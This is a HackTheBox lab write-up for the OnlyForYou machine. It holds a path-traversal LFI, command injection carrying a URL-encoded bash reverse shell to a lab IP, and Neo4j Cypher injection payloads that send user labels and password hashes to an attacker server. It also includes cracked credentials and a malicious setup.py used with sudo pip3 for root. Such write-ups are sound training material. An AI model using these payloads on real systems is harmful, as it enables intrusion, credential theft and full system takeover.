OnlyForYou – HackTheBox Writeup

Machine Name: OnlyForYou
IP: 10.10.11.210
Difficulty: Medium
Summary
OnlyForYou is a medium machine that starts with discovering a subdomain that is vulnerable to LFI. The LFI is used to read the source code of the application. Improper sanitization of user data in the a part of code that executes shell commands was leveraged to gain a shell as www-data. From this shell, two active ports were found, one of which hosted a login page that used default credentials. The dashboard revealed that the application uses Neo4j database. This information was used to test for Cipher injection. The cipher injection was successful and was used to gain password hashes from the database. The cracked hashes were used to login as user John. Privilege escalation involved abusing the “pip3 download” command that could be run as root by the user.
Information Gathering
Nmap scan shows that port 22 (SSH), port 80 (HTTP) are open. Port 80 is running Nginx 1.18.0 on Ubuntu. Since the page redirected to “http://only4you.htb,” I added it to my /etc/hosts file to facilitate further investigation.
The webpage is very generic and informs of the services it is providing. There is no interesting lead to work on. Therefore, I chose to perform directory and subdomain enumeration.
ffuf -u http://only4you.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -mc all -ac -o dir_ffuf.txt
I found “beta” domain through ffuf and added it to the /etc/hosts file.
ffuf -H "Host: FUZZ.only4you.htb" -u http://only4you.htb/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc all -ac -o subd_ffuf.txt
Upon visiting the beta subdomain of Only4you, it was observed that the home page had an option to download source code. Apart from the source code, there were two pages to either resize or convert images of “JPG” or “PNG” format.
Upon uploading a valid image, the page is redirected to a “list” page which gives us an option to download the image in different sizes.
Local File Inclusion (LFI)
I captured the download request and found that the parameter “image” is vulnerable to LFI. From the /etc/passwd file, we find the user “john”.
Then, I decided to have a look at the source code to understand why the app is vulnerable to LFI.
unzip source.zip
We can check the “app.py” file to understand how the “Download” route works.
cat app.py
Although the “posixpath.normpath” method is used to remove any double slashes or slashes or dots, the vulnerability arises as the code uses “os.path.isabs” where if the image path is absolute, it will skip joining the path provided with the current application path. Instead, it will check if the absolute path provided exists and return it.
LFI does not provide us with code execution on the server. If we think about it, all the routes that the application being hosted should exists here in the source code. However, the “/contact” route’s “Send Message” input fields are nowhere to be seen in the “app.py” file.
Exploring the Source Code
I tried to dig more by finding the application source code path through nginx configuration files.
image=/etc/nginx/sites-available/default
From the output, the application seems to be residing at “/var/www/only4you.htb/”. I looked at the “app.py” in this directory and found that it imports “sendmessage” function from “form.py”.
Identifying the Vulnerability
The “sendmessage” method seems to use the “issecure” function to determine the security status of the email and IP address. Depending on the returned status code, it constructs an email message using the provided email, subject, and message. The “issecure” functin several checks such as validation of email format, and extracting the domain from the email address and performs a DNS lookup using the “dig” command to retrieve TXT records related to the domain.
The “issecure” function uses the run
function from the “subprocess” module to execute shell commands.
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
The domain value is user-controlled which could lead to a possible RCE. I went ahead and captured the “Send Message” request from the home page of “only4you.htb/” and used the following payload in the domain.
name=test&email=test%40test.com;ping -c 4 10.10.14.15&subject=test&message=test
The payload works as I captured the ICMP traffic sent by the server to my IP.
sudo tcpdump -xvi tun0 icmp
Getting Shell as www-data
I got a reverse shell using the below payload. I ensured that the payload was URL encoded.
bash -c 'bash -i >& /dev/tcp/10.10.14.15/1234 0>&1' name=test&email=test%40test.com;bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.15/1234+0>%261'&subject=test&message=test
I transferred and ran linpeas on the machine and found that the ports 3000, and 8001 are listening on the server.
To check what was on the port, we would need to port forward it. As we do not have SSH access, we cannot use SSH to do port forwarding. I decided to upload chisel. I forwarded ports 3000 and 8001 on the chisel server port of 1122.
# On Target ./chisel client 10.10.14.15:1122 R:3000:127.0.0.1:3000 R:8001:127.0.0.1:8001 # Attacker Machine ./chisel server -p 1122 --reverse
The port 3000 hosts a Git service called “Gogs”.
The port 8001 presents a login page. This login page accepts the credentials “admin:admin”
After logging in, it appears to host a dashboard. It was observed that the application has migrated to a new database, which is Neo4j.
We find that there is a search option in the “employees” page.
Neo4k Cipher Injection
Since the I know the database, I tried payloads from HackTricks related to Neo4j in the search bar and found that the Cipher injection works. The payload below fetches the database version. Information is retried on the python server.
python3 -m http.server ' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.14.15:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
I listed the Labels.
'OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM 'http://10.10.14.15/?label='+label as l RETURN 0 as _0 //
There are two labels: user and employee.
I listed the label “user”
' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.15/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 // '+OR+1%3d1+WITH+1+as+a+MATCH+(f%3auser)+UNWIND+keys(f)+as+p+LOAD+CSV+FROM+'http%3a//10.10.14.15/%3f'+%2b+p+%2b'%3d'%2btoString(f[p])+as+l+RETURN+0+as+_0+//
We find the usernames and password hashes of admin and john. We can crack these hashes using JohnTheRipper.
nano hashes.txt 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt --format=Raw-SHA256 ThisIs4You
Gaining a Shell as John
I used the cracked password to login to John’s SSH terminal.
ssh john@only4you.htb
Privilege Escalation
As always, I ran sudo -l. I found that the user is allowed to use pip3 to download compressed files. The first idea that should pop is to use pip3 and some wildcard injection to run commands.
I logged into the Gogs webpage using John’s credentials and found a repository called “Test”. There was nothing interesting that repository.
I first thought that I would be able to use GTFObins to gain some advantage from pip3 download but none seemed to work.
Here’s the information we have so far:
- We can download compressed tar files using sudo.
- We can upload files to the Gogs repository.
This means that if we can use the pip3 download functionality to download a malicious tar file, it would execute as root and we could possibly get a shell as root.
I googled “pip download tar code execution” and found this blog that successfully exploits the exact concept of building a malicious tar file and get a shell using pip3 download.
How does the pip3 download vulnerability work?
The vulnerability arises due to a lack of verification of package metadata during the installation process. Typically, when a package is installed, the package manager retrieves metadata about the package, including its name, version, and dependencies, from a central repository.
from setuptools import setup, find_packages from setuptools.command.install import install from setuptools.command.egg_info import egg_info def RunCommand(): import os; os.system("chmod u+s /bin/bash") class RunEggInfoCommand(egg_info): def run(self): RunCommand() egg_info.run(self) class RunInstallCommand(install): def run(self): RunCommand() install.run(self) setup( name = "this_is_fine_wuzzi", version = "0.0.1", license = "MIT", packages=find_packages(), cmdclass={ 'install' : RunInstallCommand, 'egg_info': RunEggInfoCommand }, )
By including this “setup.py” file in a package and executing the installation process using a Python package manager like pip, the custom actions defined in the “RunEggInfoCommand” and “RunInstallCommand” classes will be triggered, resulting in the execution of “chmod u+s /bin/bash” command during the installation or when retrieving package metadata.
Let’s download the repository and build the exploit.
git clone https://github.com/wunderwuzzi23/this_is_fine_wuzzi cd this_is_fine_wuzzi nano setup.py
I modified the “RunCommand” function to set the suid bit to bash binary.
def RunCommand(): import os;os.system("chmod u+s /usr/bin/bash")
I built the tar file just as instructed in the blog post.
sudo apt install python3-venv pip3 install build setuptools python3 -m build cd dist
I uploaded the tar file in the Test repository, committed the changes, and unchecked the Visibility from “Private” to make it public.
Finally, I ran the pip3 download command with sudo to download the malicious file and execute the script that would set the suid bit to the bash binary.
sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/Test/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz bash -p
Pwned!